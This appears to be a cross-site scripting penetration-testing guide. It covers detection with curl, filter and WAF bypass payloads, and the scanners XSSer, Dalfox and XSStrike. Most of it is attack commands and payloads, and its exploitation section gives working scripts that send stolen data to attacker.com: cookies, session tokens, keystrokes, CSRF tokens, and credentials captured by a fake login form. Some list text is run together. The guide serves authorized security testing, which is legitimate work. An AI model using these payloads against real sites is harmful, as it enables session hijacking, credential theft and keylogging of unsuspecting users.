Cross-Site Scripting (XSS) penetration testing guide covering reflected, stored, and DOM-based XSS vulnerabilities. Learn detection techniques, filter bypass methods, and exploitation using tools like XSSer, Dalfox, and manual testing for web application security assessments.
Cross-Site Scripting (XSS) occurs when untrusted user input is rendered in web pages without proper sanitization, allowing attackers to inject malicious JavaScript that executes in victims’ browsers, potentially stealing cookies, session tokens, or performing actions on behalf of users.
Common injection points:
?search=test&message=helloUser-Agent, Referer, X-Forwarded-ForManual identification:
# Test URL parameters
curl "http://$RHOST/search?q=<test>"
curl "http://$RHOST/page?msg=<script>alert(1)</script>"
# Test POST data
curl -X POST "http://$RHOST/comment" -d "comment=<test>"
# Test headers
curl "http://$RHOST/page" -H "User-Agent: <test>"
curl "http://$RHOST/page" -H "Referer: <test>"
Look for reflected output:
What to look for in responses:
Reflected input - Search response for your test payload:
<test>) - May still be vulnerable<test>) - Likely vulnerableContext identification - Where input appears matters:
<div><test></div> - HTML context<div class="test"> - Attribute contextvar x = "test"; - JavaScript contextNext steps if input is reflected:
<script>alert(1)</script>XSSer:
xsser -u "http://$RHOST/page?param=test"
xsser -u "http://$RHOST/page" --data="user=test&pass=test"
XSS Scanner (Burp extension):
Dalfox:
dalfox url "http://$RHOST/page?param=test"
dalfox file request.txt
dalfox url "http://$RHOST/page?param=test" --cookie="session=abc123"
HTML context:
# Test if input is reflected in HTML
curl "http://$RHOST/page?q=<test>" | grep -i "<test>"
JavaScript context:
# Check if input is in JavaScript variables
curl "http://$RHOST/page?q=test" | grep -i "var.*test"
Attribute context:
# Check if input is in HTML attributes
curl "http://$RHOST/page?class=test" | grep -i "class.*test"
URL context:
# Check if input is in URLs
curl "http://$RHOST/page?redirect=test" | grep -i "href.*test"
Test filtered characters:
# Test common filters
curl "http://$RHOST/page?q=<script>"
curl "http://$RHOST/page?q=<img src=x onerror=alert(1)>"
curl "http://$RHOST/page?q=javascript:alert(1)"
curl "http://$RHOST/page?q=onerror=alert(1)"
What to look for in responses:
Filtered characters - Check if input is:
<script> becomes empty<script> becomes <script><script> becomes <scr>WAF responses - Look for:
Next steps if filtering detected:
<img>, <svg>, <body>)onerror, onload, onmouseover)Encoding bypasses:
# URL encoding
curl "http://$RHOST/page?q=%3Cscript%3Ealert(1)%3C/script%3E"
# HTML encoding
curl "http://$RHOST/page?q=<script>alert(1)</script>"
# Unicode encoding
curl "http://$RHOST/page?q=%u003cscript%u003e"
Identify WAF rules:
# Test WAF blocking
curl "http://$RHOST/page?q=<script>alert(1)</script>"
curl "http://$RHOST/page?q=<script>alert(String.fromCharCode(88,83,83))</script>"
WAF bypass techniques:
# Case variation
curl "http://$RHOST/page?q=<ScRiPt>alert(1)</ScRiPt>"
# Tag splitting
curl "http://$RHOST/page?q=<scr<script>ipt>alert(1)</scr</script>ipt>"
# Event handlers
curl "http://$RHOST/page?q=<img src=x onerror=alert(1)>"
curl "http://$RHOST/page?q=<svg onload=alert(1)>"
Basic test:
curl "http://$RHOST/page?q=<script>alert(document.domain)</script>"
What to look for in curl responses:
| grep script)Browser verification:
Next steps after basic test:
Polyglot payload:
curl "http://$RHOST/page?q=<img src=x onerror=alert(1)>"
curl "http://$RHOST/page?q=<svg/onload=alert(1)>"
curl "http://$RHOST/page?q=<body onload=alert(1)>"
What to look for with polyglot payloads:
onerror, onload) bypass <script> filters<svg/>) may bypass tag parsing issuesNext steps:
DOM-based XSS:
# Test hash fragments
curl "http://$RHOST/page#<script>alert(1)</script>"
# Test location.href
curl "http://$RHOST/page?redirect=javascript:alert(1)"
Submit stored payload:
# Submit via form
curl -X POST "http://$RHOST/comment" -d "comment=<script>alert(1)</script>"
# Check if stored
curl "http://$RHOST/comments" | grep -i "<script>alert(1)</script>"
What to look for in responses:
Submission response - Check for:
Retrieval response - Verify payload appears:
grep or browser View Source)Next steps after stored XSS confirmed:
File upload XSS:
# SVG with XSS
echo '<svg onload=alert(1)>' > xss.svg
curl -X POST "http://$RHOST/upload" -F "file=@xss.svg"
Source identification:
# Check sources
curl "http://$RHOST/page" | grep -i "location\|document\|window"
Sink testing:
# Test eval()
curl "http://$RHOST/page?callback=alert(1)"
# Test innerHTML
curl "http://$RHOST/page?content=<img src=x onerror=alert(1)>"
# Test document.write()
curl "http://$RHOST/page?name=<script>alert(1)</script>"
Basic cookie theft:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
What to look for during exploitation:
Next steps after cookie theft:
python3 -m http.server 8000 or nc -lvnp 80With Fetch API:
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
Advantages over document.location:
URL-encoded payload:
curl "http://$RHOST/page?q=%3Cscript%3Efetch%28%27http%3A//attacker.com/steal%3Fcookie%3D%27%2Bdocument.cookie%29%3C/script%3E"
Next steps:
Steal session tokens:
<script>new Image().src='http://attacker.com/session?token='+document.cookie</script>
Using XMLHttpRequest:
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker.com/steal?cookie='+document.cookie);
xhr.send();
</script>
Capture keystrokes:
<script>
document.onkeypress = function(e) {
new Image().src='http://attacker.com/keylog?key='+e.key;
}
</script>
Fake login form:
<script>
document.body.innerHTML='<form action=http://attacker.com/steal method=POST><input name=user placeholder=Username><input name=pass type=password placeholder=Password><button>Login</button></form>';
</script>
Extract CSRF tokens:
<script>
var token = document.querySelector('input[name="csrf_token"]').value;
fetch('http://attacker.com/token?csrf='+token);
</script>
Case bypass:
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
Tag alternatives:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
Event handler alternatives:
<img src=x onerror=alert(1)>
<img src=x onmouseover=alert(1)>
<svg onload=alert(1)>
<body onfocus=alert(1)>
<input onfocus=alert(1) autofocus>
JavaScript protocol:
<a href=javascript:alert(1)>Click</a>
<iframe src=javascript:alert(1)>
Unicode encoding:
<script>\u0061lert(1)</script>
<script>eval('\x61lert(1)')</script>
Template literals (ES6):
<script>alert`1`</script>
String concatenation:
<script>eval('aler'+'t(1)')</script>
<script>['alert'](1)</script>
Basic scan:
xsser -u "http://$RHOST/page?param=test"
Comprehensive scan:
xsser -u "http://$RHOST/page?param=test" --auto --reverse-check
Custom payload:
xsser -u "http://$RHOST/page?param=test" --Fp="<img src=x onerror=alert(1)>"
URL testing:
dalfox url "http://$RHOST/page?param=test"
File testing:
dalfox file request.txt
With cookies:
dalfox url "http://$RHOST/page?param=test" --cookie="session=abc123"
Custom payload:
dalfox url "http://$RHOST/page?param=test" --payload "<img src=x onerror=alert(1)>"
Basic scan:
python3 xsstrike.py -u "http://$RHOST/page?param=test"
Crawl and test:
python3 xsstrike.py -u "http://$RHOST" --crawl
File testing:
python3 xsstrike.py -l urls.txt
Test in console:
// Test DOM manipulation
document.body.innerHTML='<img src=x onerror=alert(1)>';
// Test eval
eval('alert(1)');
// Test document.write
document.write('<script>alert(1)</script>');
Monitor network requests: